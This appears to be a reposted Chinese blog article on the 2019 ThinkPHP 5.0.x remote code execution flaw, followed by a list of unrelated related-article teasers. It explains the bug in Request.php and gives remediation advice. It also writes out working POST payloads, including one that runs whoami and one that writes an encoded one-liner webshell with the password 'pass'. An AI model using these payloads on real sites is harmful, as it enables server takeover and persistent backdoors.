网站有漏洞被攻击篡改了数据该怎么修复解决

news/2024/5/14 21:02:09/文章来源:https://blog.csdn.net/cpongo1/article/details/89548786

2019年1月14日消息,thinkphp又被爆出致命漏洞,可以直接远程代码执行,getshell提权写入网站木马到网站根目录,甚至直接提权到服务器,该漏洞影响版本ThinkPHP 5.0、ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp 5.0.22版本。

攻击者可以伪造远程恶意代码,对服务器进行post提交数据来利用漏洞,该漏洞产生的原因是继上次2019元旦前后爆出的网站漏洞后,又一次的致命漏洞。在thinkphp目录下的library文件夹下的thinkrequest.php代码。如下图所示:

从上述代码中可以看出整个代码写的流程,首先打开网站会从app.php代码里将请求的网站地址使用check来进行解析,然后再经过patch类型对其进行深度的赋值.然后可以使用post方式提交数据到_method函数当中去,框架会对进行判断,然后对其调用传入的参数值,经过整个代码的循坏以及传入,就可以导致request的值给覆盖掉,从而产生远程代码执行,我们来构造恶意的代码,看看漏洞是如何使用的。

post地址:anquan/public/index.php?s=captcha

POST内容:c=system&f=whoami&_method=filter

直接远程提交过去就会执行我们的命令 whoami。查看返回的post数据就可以看到我们要看的

信息。

在整体的所有版本中测试,thinkphp必须开启debug模式才可以写入webshell,写入的执行代码是:_method=construct&filter[]=assert&filter[]=file_put_contents('0.php',_decode

('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))&server=-1 写入的是一句话木马,连接密码是pass.

有些低版本的网站,可以不使用captcha参数也可是执行远程代码,代码如下:_method=__construct&filter[]=system&method=GET&get[]=whoami

_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo

_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

以上三个都是可以执行远程代码的。

关于thinkphp漏洞的修复建议:

尽快升级thinkphp到最新版本,有一些网站可能不方便升级,也可以对代码的文件进行修复,漏洞代码是library/think/Request.php对该代码的526行,527行进行添加设置白名单机制,对请求过来的数据,以及接收的数据进行安全限制。if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {$this->method = $method,网站程序代码的安全很重要,如果网站使用了开源的CMS系统代码,不懂程序技术的话,网站会经常被黑客攻击,如果自己懂程序,那就可以自己针对代码的漏洞进行漏洞修复,不懂的话,就请专业的网站安全公司来完善一下程序上的某些代码漏洞,国内像SINE安全、绿盟安全、启明星辰都是比较专业的安全公司,很多黑客之所以能植入木马病毒,就是抓住了这些网站代码上的漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_736984.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

收集自己的网络书签,创建自己的网站导航

2019独角兽企业重金招聘Python工程师标准>>> 作为一个“宅男”,我常常在网络爬行,到处逛逛,就像是一只“虫子”。所以给自己取了一个“贝特虫子”的名字(也很喜欢《音乐虫子》这歌曲)。 由于工作的关系&…

通过建站学运维——公有云介绍

一、常见的云 1、私有云:搭建私有云的工具 OpenStack 2、公有云:阿里云、腾讯云、华为云、京东云、亚马逊云等 3、为什么要做公有云? 随着移动互联网的发展,抖音、微信等应用的交互催生了公有云的服务。 二、BGP网络:直…

服务器网站后门检测软件,服务器安全工具(后门检测)

服务器安全工具(后门检测)功能1.目前该工具只作为辅助查找,站长可自行添加正则表达式。2.服务器后门检测采用白名单特征检查方式,可检查出所有替换型后门变种。3.网站后门辅查支持自定义白名单,可以在网站初建时或本地原始备份进行白名单制作…

大型网站的存储

本文主要论述一下常用的存储产品和技术。 1.1 存储 存储设备是网站后台架构中,最底层的部分。也是最重要的部分。因为一旦存储设备出现问题,将直接导致上层的数据层和应用层的服务停止。严重的存储设备的损坏以及不可恢复的数据丢失会给企业造成巨大的经…

手把手教你阿里云服务器搭建网站(超详细图文)...

前文概述 出于好奇,我用学生优惠租了一台阿里云服务器,打算做一些Java web的开发,但是毕竟是第一次接触这样的东西,还是比较陌生,在这个过程中遇到了一些问题(肯定会遇到问题的),但是…

阿里云建站的基本流程

1. 云服务器 ECS 1.1 概述 云服务器ECS实例,即阿里云服务器,以下简称 ECS 实例。https://promotion.aliyun.com/ntms/yunparter/invite.html?userCodegy5l4yp91.2 创建 ECS 实例 1.2.1 购买 ECS 实例 在阿里云官网找到:产品->云计算基础服…

服务器传奇网站搭建修改教程,传奇架设教程如何修改爆率

4.如何修改爆率怪物爆率文件在D:MirserverMir200EnvirMonItems下面,一般默认的怪物爆率就已经非常不错,但根据服务器人数,有时候还是需要对爆率进行调整。关于调整沃玛装备沃玛装备为底级装备,控制沃玛装备的爆率只需要控制白野猪…

百万级访问网站前期的技术准备

2019独角兽企业重金招聘Python工程师标准>>> 转自: http://zhiyi.us/internet/thinking-twice-before-building-your-site-one.html 开了自己域名的博客,第一篇就得来个重磅一点的才对得起这4美金的域名。作为一个技术从业者十年,…

百度SEO,该什么时间使用Nofollow?

在百度SEO过程中,每一个SEO人员,手中可利用的资源都是有限的,因此,在页面优化的时候,特别对于新站而言,我们应该学会善用权重。 这可能让很多SEO新人感觉错愕,实际上一个页面的权重&#xff0c…

php和smarty订单查看订单,基于Smarty购物商城网站的设计与实现(PHP,MySQL)(含录像)...

基于Smarty购物商城网站的设计与实现(,MySQL)(含录像)(任务书,开题报告,外文翻译,毕业论文10000字,程序代码,MySQL数据库,答辩PPT,答辩视频录像)摘 要PHP是英文超文本预处理语言Hypertext Preprocessor的缩写。它具有非常强大的功能,所有的JAVAScript的功能PHP都能…

弊端重重的传统影楼,优兔家摄影网站赋予新生机...

关键词:网站建设,H5响应式网站,摄影网站建设 关于优兔家 U2(优兔家)新派视觉摄影,由资深广告创意人主理,是一个善于挖掘个人美态的摄影团体,为用户提供状容造型、专业摄影、后期润饰…

基于django的视频点播网站开发-step6-个人中心功能...

从本讲起,我们开始个人中心功能的开发。个人中心里面包括个人资料、修改密码、订阅设置、意见反馈这四部分。通过这部分的开发,我们将会接触到更多django的用法。 感兴趣的伙伴可通过网站演示预览网站,登录后点击右上角头像即可弹出个人中心相…

基于django的视频点播网站开发-step8-后台登录功能...

从本讲起,我们会介绍后台管理系统的开发,后台管理,主要是对数据库中的数据进行增、删、改、查的操作,满足网站管理员对网站的管理与维护的需求。 其实,django自带的也有一个后台管理系统(/admin&#xff09…

基于django的视频点播网站开发-step9-后台视频管理功能...

从本讲开始,我们开始视频管理功能的开发,视频管理包括视频上传、视频列表、视频编辑、视频删除。另外还有视频分类的功能,会一同讲解。这一讲非常重要,因为你将学习到一些之前没有学过的技术,比如大文件上传技术。 视频…

dedecms网站被黑 劫持到其他网站如何解决

前段时间网站被黑了,从百度打开网站直接被劫持跳转到了cai票,du博网站上去,网站的首页index.html文件也被篡改成一些什么北京sai车,pk10,一些cai票的关键词内容,搞得网站根本无法正常浏览,从百度…

基于django的视频点播网站开发-step13-后台反馈功能...

用户反馈管理功能,是对前端用户反馈的问题进行展示,并可实现删除功能。是一个很实用的功能,也算是当代网站的标配。它可以实时的跟踪到用户对网站的各种意见和吐槽,开发者能及时修缮网站功能或者修改网站bug。 Demo地址 反馈管理包…

基于django的视频点播网站开发-step14-数据总览功能...

数据总览功能,是对网站中产生的数据进行一个统计,统计出视频数、发布数、用户数、评论数,等等。让管理者对网站数据有一个清晰的认识,做到心中有数。 在本站中,笔者一共列举了下面几种数据:视频数、发布中未…

域名备案后,有必要做个网站吗?为了不掉备案,很有必要!...

今天突然一个同学找我咨询阿里云网站备案问题。说是收到了这样一封来自阿里云的邮件: 原因很简单,他当时有台短期服务器,还有个域名,就做了网站备案。虽然一直没有实际制作网站发布,但是网站毕竟做完了备案工作。 再说…

SEO人员,如何辨别流量与相关性的罗生门?

对于SEO人员而言,我们在做企业产品的时候,经常会遇到这样一个问题,那就是关于相关性与流量的问题,这经常是SEOer,陷入罗生门的死角,而不能自知。 而实际上,它在企业产品转化,提高利润…

JAVA中医药查询系统,基于jsp的中医药教育网站-JavaEE实现中医药教育网站 - java项目源码...

基于jspservletpojomysql实现一个javaee/javaweb的中医药教育网站, 该项目可用各类java课程设计大作业中, 中医药教育网站的系统架构分为前后台两部分, 最终实现在线上进行中医药教育网站各项功能,实现了诸如用户管理, 登录注册, 权限管理等功能, 并实现对各类中医药教育网站相…